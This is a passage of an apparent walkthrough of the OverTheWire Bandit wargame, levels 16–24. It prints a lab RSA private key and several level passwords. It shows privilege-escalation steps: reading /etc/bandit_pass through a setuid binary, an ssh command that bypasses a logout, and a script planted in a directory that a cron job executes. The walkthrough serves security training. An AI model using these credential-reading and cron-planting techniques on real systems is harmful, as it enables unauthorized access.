verify return:1
depth=0 /CN=melissa.labs.overthewire.org
verify return:1
---
Certificate chain
0 s:/CN=melissa.labs.overthewire.org
i:/CN=melissa.labs.overthewire.org
---
Server certificate
-----BEGIN CERTIFICATE-----
MIICyjCCAbICCQDE6DxysXt56TANBgkqhkiG9w0BAQUFADAnMSUwIwYDVQQDExxt
ZWxpc3NhLmxhYnMub3ZlcnRoZXdpcmUub3JnMB4XDTEyMDUxMDIxMzYzOVoXDTIy
MDUwODIxMzYzOVowJzElMCMGA1UEAxMcbWVsaXNzYS5sYWJzLm92ZXJ0aGV3aXJl
Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAL85VFz7tV/45RID
5x804dSKyvmZH62lOjAg0NhW7Kbc9L6mmq3EVd4As/kupXYs0d7hCiMjJri0X2e8
GTM+nysxZLTR1qa2j/KOzQ7FgQ4vp4R4JQZP6ofhNPvBybh6BwYE5hFzRARK9Y3x
+dr3ZefeAE7Ea1k6NzH7p6HAtpkG36SD6GbhLV9HFhwOCwBWGPnXPfXA/2XBdZzY
/h6FWrxZPqdALjy8dCeRlNPqG7dD8CIWK4dpBGudxfyXiki5YfwOirotEWjI1E/C
JK2/jWT7tYLIrVKzOF0dwDWYxNMRnwn5+S2F2/AERSRBlwrtMb6jJf+g2pU27eAe
3xvtJs8CAwEAATANBgkqhkiG9w0BAQUFAAOCAQEAtDKEX9gWmEyKqkhPN1L+wjEi
M2HH/XMgDxHrqWgy0Xl9gznuvM0pkOEXUOKWkfKDQfskk8cbgqn0hEvaX7AKrNL4
Nbm1JD+hUSSFtW3sxmv+aHkdEz6H70oUp712wP2Hu3DF7paVSPC5yB1vqoNYmHX/
J9CwqptVj+dLaDeY+ayzEwOuaEcd+cpP4OTbMLy0SuKLONr1+NaA5IPaVE/XOmlE
wW7zNRcJ3kxnvsHrqF4ZeYPBLNmhDT3ZD4qso+JiL9lme5YbP7+dCQo5Oa1AT7Dz
UmKZhWQTLsnI6Eyl8NwLnxiSkIOUigN6WF8bnd1F9FVKfmjQDSjBJHGqTE4Trg==
-----END CERTIFICATE-----
subject=/CN=melissa.labs.overthewire.org
issuer=/CN=melissa.labs.overthewire.org
---
No client certificate CA names sent
---
SSL handshake has read 1436 bytes and written 229 bytes
---
New, TLSv1/SSLv3, Cipher is DHE-RSA-AES256-SHA
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: zlib compression
Expansion: zlib compression
SSL-Session:
Protocol  : TLSv1
Cipher    : DHE-RSA-AES256-SHA
Session-ID: 913086AEE63018EFB254F2105A4597FC5CB419BFFBCE5B1FAF10EC7967668530
Session-ID-ctx:
Master-Key: 155AF180C1B8BB81BDE85105A05F1C6D5E7B8511B6C9E83B257EC2012B102170522C965E114B233D108A838C7520DED6
Key-Arg   : None
TLS session ticket:
0000 - 95 66 61 4b c2 a6 3c 36-50 d2 8d fd 58 fb 03 30   .faK..<6P...X..0
0010 - 2c 38 20 12 84 02 08 68-d0 f3 5d 47 1a 8a 86 b2   ,8 ....h..]G....
0020 - 01 19 4f cb 46 85 e8 a2-36 e2 ac fd 9f 2e 66 1e   ..O.F...6.....f.
0030 - ab 99 67 49 93 f0 82 0e-56 60 0f 4b c2 28 b6 7b   ..gI....V`.K.(.{
0040 - 7f 55 f9 cf 9d d9 07 0a-4f 40 a6 7d cc 89 4b b4   .U......O@.}..K.
0050 - f3 2a 0e b8 35 ac e9 e3-04 b7 3b e8 b5 32 8b 7a   .*..5.....;..2.z
0060 - a8 05 c9 e9 89 74 c4 fc-40 8d 3b 49 2e de 63 be   .....t..@.;I..c.
0070 - 25 b5 f5 05 85 17 82 92-8b 95 5c 8b e6 e9 f3 e7   %.........\.....
0080 - 21 49 9b a6 b8 82 fc d8-6e 67 54 31 ad a3 75 ee   !I......ngT1..u.
0090 - 43 07 47 54 bb fa d9 9a-2a ef 20 85 28 2d 2b 63   C.GT....*. .(-+c

Compression: 1 (zlib compression)
Start Time: 1363811727
Timeout   : 300 (sec)
Verify return code: 18 (self signed certificate)
---
cluFn7wTiGryunymYOu4RcffSxQluehd
Correct!
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAvmOkuifmMg6HL2YPIOjon6iWfbp7c3jx34YkYWqUH57SUdyJ
imZzeyGC0gtZPGujUSxiJSWI/oTqexh+cAMTSMlOJf7+BrJObArnxd9Y7YT2bRPQ
Ja6Lzb558YW3FZl87ORiO+rW4LCDCNd2lUvLE/GL2GWyuKN0K5iCd5TbtJzEkQTu
DSt2mcNn4rhAL+JFr56o4T6z8WWAW18BR6yGrMq7Q/kALHYW3OekePQAzL0VUYbW
JGTi65CxbCnzc/w4+mqQyvmzpWtMAzJTzAzQxNbkR2MBGySxDLrjg0LWN6sK7wNX
x0YVztz/zbIkPjfkU1jHS+9EbVNj+D1XFOJuaQIDAQABAoIBABagpxpM1aoLWfvD
KHcj10nqcoBc4oE11aFYQwik7xfW+24pRNuDE6SFthOar69jp5RlLwD1NhPx3iBl
J9nOM8OJ0VToum43UOS8YxF8WwhXriYGnc1sskbwpXOUDc9uX4+UESzH22P29ovd
d8WErY0gPxun8pbJLmxkAtWNhpMvfe0050vk9TL5wqbu9AlbssgTcCXkMQnPw9nC
YNN6DDP2lbcBrvgT9YCNL6C+ZKufD52yOQ9qOkwFTEQpjtF4uNtJom+asvlpmS8A
vLY9r60wYSvmZhNqBUrj7lyCtXMIu1kkd4w7F77k+DjHoAXyxcUp1DGL51sOmama
+TOWWgECgYEA8JtPxP0GRJ+IQkX262jM3dEIkza8ky5moIwUqYdsx0NxHgRRhORT
8c8hAuRBb2G82so8vUHk/fur85OEfc9TncnCY2crpoqsghifKLxrLgtT+qDpfZnx
SatLdt8GfQ85yA7hnWWJ2MxF3NaeSDm75Lsm+tBbAiyc9P2jGRNtMSkCgYEAypHd
HCctNi/FwjulhttFx/rHYKhLidZDFYeiE/v45bN4yFm8x7R/b0iE7KaszX+Exdvt
SghaTdcG0Knyw1bpJVyusavPzpaJMjdJ6tcFhVAbAjm7enCIvGCSx+X3l5SiWg0A
R57hJglezIiVjv3aGwHwvlZvtszK6zV6oXFAu0ECgYAbjo46T4hyP5tJi93V5HDi
Ttiek7xRVxUl+iU7rWkGAXFpMLFteQEsRr7PJ/lemmEY5eTDAFMLy9FL2m9oQWCg
R8VdwSk8r9FGLS+9aKcV5PI/WEKlwgXinB3OhYimtiG2Cg5JCqIZFHxD6MjEGOiu
L8ktHMPvodBwNsSBULpG0QKBgBAplTfC1HOnWiMGOU3KPwYWt0O6CdTkmJOmL8Ni
blh9elyZ9FsGxsgtRBXRsqXuz7wtsQAgLHxbdLq/ZJQ7YfzOKU4ZxEnabvXnvWkU
YOdjHdSOoKvDQNWu6ucyLRAWFuISeXw9a/9p7ftpxm0TSgyvmfLF2MIAEwyzRqaM
77pBAoGAMmjmIJdjp+Ez8duyn3ieo36yrttF5NSsJLAbxFpdlc1gvtGCWW+9Cq0b
dxviW8+TFVEBl1O4f7HVm6EpTscdDxU+bCXWkfjuRb7Dy9GOtt9JPsX8MBTakzh3
vBgsyi/sN3RqRBcGU40fOoZyfAMT8s1m/uYv52O6IgeuZ/ujbjY=
-----END RSA PRIVATE KEY-----

read:errno=0

#Now we have an ssh key we can use. We need to copy it into a file to it.

bandit16@melissa:~$ mkdir /tmp/ssss
bandit16@melissa:~$ cd /tmp/ssss
bandit16@melissa:/tmp/ssss$ touch sshkey.private
bandit16@melissa:/tmp/ssss$ vi sshkey.private
bandit16@melissa:/tmp/ssss$ chmod 600 sshkey.private
bandit16@melissa:/tmp/ssss$ ssh -i sshkey.private bandit17@localhost
Could not create directory '/home/bandit16/.ssh'.
The authenticity of host 'localhost (127.0.0.1)' can't be established.
RSA key fingerprint is 9d:09:d9:46:84:df:f9:dd:cc:7c:dc:49:a0:95:b2:10.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/home/bandit16/.ssh/known_hosts).
bandit17@melissa:~$

At last, we have bandit17’s shell.

Level 17->18:

There are 2 files in the homedirectory: passwords.old and passwords.new. The password for the next level is in passwords.new and is the only line that has been changed between passwords.old and passwords.new.

There are a few ways to find the password for this level. One of the commands not mentioned makes really light work of this level, so we will go with that. Always remember, there is more than one way to skin a cat, especially with Linux.

bandit17@melissa:~$ ls
passwords.new  passwords.old
bandit17@melissa:~$ diff passwords.new  passwords.old
42c42
< kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd
---
> bECYSoXjOeGseirUCztuCBDF3xXqE7By

The string on top is what we want. A brief of level 18 introduces a new problem with our password…

Level 18->19:

The password for the next level is stored in a file readme in the home directory. Unfortunately, someone has modified .bashrc to log you out when you log in with SSH. When we try to connect to the shell at bandit18, we are presented with an error message. There is a way to sneak in commands when we try to connect. Let’s see.

Byebye !
Connection to bandit.labs.overthewire.org closed.

ssh bandit18@bandit.labs.overthewire.org cat readme
bandit18@bandit.labs.overthewire.org's password:
IueksS7Ubh8G3DCwVzrTd8rAVOwq3M5x

The password for bandit19 is presented to us just like that.

Level 19->20:

To gain access to the next level, you should use the setuid binary in the home directory. Execute it without arguments to find out how to use it. The password for this level can be found in the usual place (/etc/bandit_pass), after you have used to setuid binary.

The suid binary executes as bandit20, therefore we can exploit this to peek at bandit20’s password as bandit19. Example:

bandit19@melissa:~$ ls
bandit20-do
bandit19@melissa:~$ ./bandit20-do
Run a command as another user.
Example: ./bandit20-do id
bandit19@melissa:~$ ./bandit20-do id
uid=11019(bandit19) gid=11019(bandit19) euid=11020(bandit20) groups=11020(bandit20),11019(bandit19)
bandit19@melissa:~$ ./bandit20-do whoami
bandit20
bandit19@melissa:~$ ./bandit20-do cat /etc/bandit_pass/bandit20
GbKksEFF4yrVs6il55v6gwY5aVje5f0j

Level 20->21:

There is a setuid binary in the home directory that does the following: it makes a connection to localhost on the port you specify as a command line argument. It then reads a line of text from the connection and compares it to the password in the previous level (bandit20). If the password is correct, it will transmit the password for the next level (bandit21).

This one is a little more complicated. Upon entering bandit20’s shell, we see a binary that connects to a local port, and waits for a connection and the password to be sent to it from outside. We need two shells to accomplish this.

bandit20@melissa:~$ ls
suconnect
bandit20@melissa:~$ ./suconnect
Usage: ./suconnect <portnumber>
This program will connect to the given port on localhost using TCP. If it receives the
correct password from the other side, the next password is transmitted back.

#In one shell do:
bandit20@melissa:~$ nc -l 3222

#In another shell do:
bandit20@melissa:~$ ls
suconnect
bandit20@melissa:~$ ./suconnect 3222

#When the connection is made, go back to the first shell, and paste the password in netcat.
GbKksEFF4yrVs6il55v6gwY5aVje5f0j
gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr

Read: GbKksEFF4yrVs6il55v6gwY5aVje5f0j
Password matches, sending next password

The password for bandit21 is given, we can move on.

Level 21->22:

A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.

If you are not already familiar with what cron jobs are, you will learn now. Upon inspection of the cron directory, we see a job listed for bandit22. The contents of it shows that it executes a script that dumps the password for bandit22 to a file in /tmp. Looking at the contents of that file reveals the password for bandit22.

bandit21@melissa:~$ cd /etc/cron.d/
bandit21@melissa:/etc/cron.d$ ls -la
total 100
drwxr-xr-x  2 root root 4096 2013-01-03 16:39 .
drwxr-xr-x 94 root root 4096 2013-03-18 15:53 ..
-rw-r--r--  1 root root   54 2013-01-03 16:39 boobiesbot-check
-rw-r--r--  1 root root   61 2012-07-05 09:34 cronjob_bandit22
-rw-r--r--  1 root root   61 2012-07-05 09:34 cronjob_bandit23
-rw-r--r--  1 root root   61 2012-07-05 09:35 cronjob_bandit24
-rw-r--r--  1 root root   35 2012-03-29 14:16 eloi0
-rw-r--r--  1 root root   35 2012-04-07 18:33 eloi1
-rw-r--r--  1 root root   51 2012-12-23 00:06 hintbot-check
-rw-------  1 root root  233 2012-09-14 13:16 manpage3_resetpw_job
-rw-r--r--  1 root root  506 2012-06-19 03:06 php5
-rw-r--r--  1 root root  102 2011-01-05 11:23 .placeholder
-rw-r--r--  1 root root   58 2011-11-13 23:08 semtex0-32
-rw-r--r--  1 root root   58 2011-11-13 23:08 semtex0-64
-rw-r--r--  1 root root   59 2011-11-13 23:08 semtex0-ppc
-rw-r--r--  1 root root   36 2011-11-25 14:00 semtex10
-rw-r--r--  1 root root  143 2011-11-13 23:08 semtex12
-rw-r--r--  1 root root   35 2011-11-13 23:08 semtex5
-rw-r--r--  1 root root   29 2011-11-13 23:08 semtex6
-rw-r--r--  1 root root   96 2011-11-25 14:00 semtex8
-rw-r--r--  1 root root  134 2011-11-13 23:14 semtex9
-rw-r--r--  1 root root   29 2011-11-13 23:07 vortex0
-rw-r--r--  1 root root   30 2012-03-24 21:00 vortex20
-rw-r--r--  1 root root   52 2012-12-23 00:06 vulnbot0-check
-rw-r--r--  1 root root   52 2012-12-23 00:06 vulnbot1-check
bandit21@melissa:/etc/cron.d$ cat cronjob_bandit22
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
bandit21@melissa:/etc/cron.d$ cat /usr/bin/cronjob_bandit22.sh
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
bandit21@melissa:/etc/cron.d$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI

Level 22->23:

A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.

We visit cron again, this time the script cron executes is a little more complicated. It creates a file in /tmp that is the result of an md5 hashing process combined with a username which creates the name of the file that will hold the password. In other words, when ran, it will provide the name of the file in the /tmp directory that the password is being dumped to. Let’s fill in the blanks for it as bandit23 and see what happens.

bandit22@melissa:~$ cd /etc/cron.d
bandit22@melissa:/etc/cron.d$ ls
boobiesbot-check  eloi1                 semtex0-64   semtex6   vulnbot0-check
cronjob_bandit22  hintbot-check         semtex0-ppc  semtex8   vulnbot1-check
cronjob_bandit23  manpage3_resetpw_job  semtex10     semtex9
cronjob_bandit24  php5                  semtex12     vortex0
eloi0             semtex0-32            semtex5      vortex20
bandit22@melissa:/etc/cron.d$ cat cronjob_bandit23
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh &> /dev/null
bandit22@melissa:/etc/cron.d$ cat /usr/bin/cronjob_bandit23.sh
#!/bin/bash

myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)

echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"

cat /etc/bandit_pass/$myname > /tmp/$mytarget

#Run the script:
bandit22@melissa:/etc/cron.d$ echo I am user bandit23 | md5sum | cut -d ' ' -f 1
8ca319486bfbbc3663ea0fbe81326349

#Check contents of that file in /tmp:
bandit22@melissa:/etc/cron.d$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349
jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n

There we have it, the password for bandit23 awaits us.

Level 23->24:

A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.

Our final challenge is complicated more. There are a couple of ways to complete this challenge as well, but I think the way im about to do it is one of the better ways. We can see that the cronjob for bandit24 is running all scripts in the /var/spool/bandit24 directory. Unfortunately, we do not have permissions to see the files in that directory. This is vulnerable because although we can not read that directory, we can add scripts to it and the script will be executed as bandit24. Let’s add a script in that directory that list all the files in that directory.

bandit23@melissa:~$ cd /etc/cron.d
bandit23@melissa:/etc/cron.d$ ls
boobiesbot-check  eloi1                 semtex0-64   semtex6   vulnbot0-check
cronjob_bandit22  hintbot-check         semtex0-ppc  semtex8   vulnbot1-check
cronjob_bandit23  manpage3_resetpw_job  semtex10     semtex9
cronjob_bandit24  php5                  semtex12     vortex0
eloi0             semtex0-32            semtex5      vortex20
bandit23@melissa:/etc/cron.d$ cat cronjob_bandit24
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
bandit23@melissa:/etc/cron.d$ cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash

myname=$(whoami)

cd /var/spool/$myname
echo "Executing and deleting all scripts in /var/spool/$myname:"
for i in *;
do
echo "Handling $i"
./$i
rm -f $i
done

#Let's begin the process to create our script:
bandit23@melissa:/etc/cron.d$ mkdir /tmp/cccc
bandit23@melissa:/etc/cron.d$ cd /tmp/cccc
bandit23@melissa:/tmp/cccc$ vi dump.sh
     #!/bin/bash
     ls -la >> /tmp/cccc/list.txt

#chmod 777 is probably overkill, this stuff gets erased.
bandit23@melissa:/tmp/cccc$ chmod 777 dump.sh
bandit23@melissa:/tmp/cccc$ chmod -R 777 /tmp/cccc
bandit23@melissa:/tmp/cccc$ cp dump.sh /var/spool/bandit24/

#Wait one minute for the cronjob to run then check our list.txt file:
bandit23@melissa:/tmp/cccc$ cat list.txt
total 100
drwxr-xr-x  2 root root 4096 2013-01-03 16:39 .
drwxr-xr-x 94 root root 4096 2013-03-18 15:53 ..
-rw-r--r--  1 root root   54 2013-01-03 16:39 boobiesbot-check
-rw-r--r--  1 root root   61 2012-07-05 09:34 cronjob_bandit22
-rw-r--r--  1 root root   61 2012-07-05 09:34 cronjob_bandit23
-rw-r--r--  1 root root   61 2012-07-05 09:35 cronjob_bandit24
-rw-r--r--  1 root root   35 2012-03-29 14:16 eloi0
-rw-r--r--  1 root root   35 2012-04-07 18:33 eloi1
-rw-r--r--  1 root root   51 2012-12-23 00:06 hintbot-check
-rw-------  1 root root  233 2012-09-14 13:16 manpage3_resetpw_job
-rw-r--r--  1 root root  506 2012-06-19 03:06 php5
-rw-r--r--  1 root root  102 2011-01-05 11:23 .placeholder
-rw-r--r--  1 root root   58 2011-11-13 23:08 semtex0-32
-rw-r--r--  1 root root   58 2011-11-13 23:08 semtex0-64
-rw-r--r--  1 root root   59 2011-11-13 23:08 semtex0-ppc
-rw-r--r--  1 root root   36 2011-11-25 14:00 semtex10
-rw-r--r--  1 root root  143 2011-11-13 23:08 semtex12
-rw-r--r--  1 root root   35 2011-11-13 23:08 semtex5
-rw-r--r--  1 root root   29 2011-11-13 23:08 semtex6
-rw-r--r--  1 root root   96 2011-11-25 14:00 semtex8
-rw-r--r--  1 root root  134 2011-11-13 23:14 semtex9
-rw-r--r--  1 root root   29 2011-11-13 23:07 vortex0
-rw-r--r--  1 root root   30 2012-03-24 21:00 vortex20
-rw-r--r--  1 root root   52 2012-12-23 00:06 vulnbot0-check
-rw-r--r--  1 root root   52 2012-12-23 00:06 vulnbot1-check
total 93
drwx-wx--- 13 bandit24 bandit23  1024 2013-03-21 02:44 .
drwxr-xr-x  6 root     root      4096 2012-07-05 09:24 ..
-rw-r--r--  1 bandit23 bandit23   130 2012-10-30 20:50 .aaa.sh
drwxr-xr-x  2 bandit23 bandit23  1024 2013-01-21 03:15 asdsd
-rw-------  1 bandit23 bandit23 12288 2012-06-05 15:22 .a.sh.swo
drwxr-xr-x  2 bandit23 bandit23  1024 2013-02-25 11:35 bandit23
drwxrwxrwx  2 bandit23 bandit23  1024 2013-03-11 20:15 bandit24
-rw-------  1 bandit23 bandit23 12288 2012-10-14 17:23 .catpass.sh.swp
-rwxr-xr-x  1 bandit23 bandit23    42 2013-03-21 02:44 dump.sh
drwxr-xr-x  2 bandit23 bandit23  1024 2012-12-20 18:31 galo
-rw-------  1 bandit23 bandit23 12288 2012-11-14 04:45 .getpass.swp
drwxrwxrwx  2 bandit23 bandit23  1024 2013-03-13 22:07 inhere
drwxr-xr-x  2 bandit23 bandit23  1024 2012-07-06 13:26 lolwut
drwx------  2 root     root     12288 2012-05-30 14:18 lost+found
drwxr-xr-x  2 bandit23 bandit23  1024 2013-02-23 21:44 pass
drwxr-xr-x  2 bandit24 bandit24  1024 2012-12-30 12:44 passjurgen
-rw-r--r--  1 bandit24 bandit24    33 2012-10-13 09:33 .plop
-rw-------  1 bandit23 bandit23 12288 2013-01-23 19:13 .shellcode.swo
-rw-------  1 bandit23 bandit23 12288 2013-01-23 19:03 .shellcode.swp
drwxr-xr-x  2 bandit23 bandit23  1024 2012-09-28 14:24 sub
-rw-r--r--  1 bandit23 bandit23     3 2012-09-28 14:38 .t1
-rw-r--r--  1 bandit23 bandit23     3 2012-09-28 14:38 .t2
-rw-r--r--  1 bandit23 bandit23     3 2012-09-28 14:38 .t3
drwxr-xr-x  2 bandit23 bandit23  1024 2012-11-27 17:46 zdenial

#Nice, we see some interesting files, lets' go to this one:
bandit23@melissa:/tmp/cccc$ cd  /var/spool/bandit24/pass
bandit23@melissa:/var/spool/bandit24/pass$ ls
pass
bandit23@melissa:/var/spool/bandit24/pass$ cat pass
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ

And there is the password for the last level. All though we can log in to level24, there is nothing more to do. Congratulations, I hope you have learned something from this and found it interesting. Submit a new level for us or move on to the other servers. Leviathan is generally recommended next…

Level 24->25:

This level does not yet exist…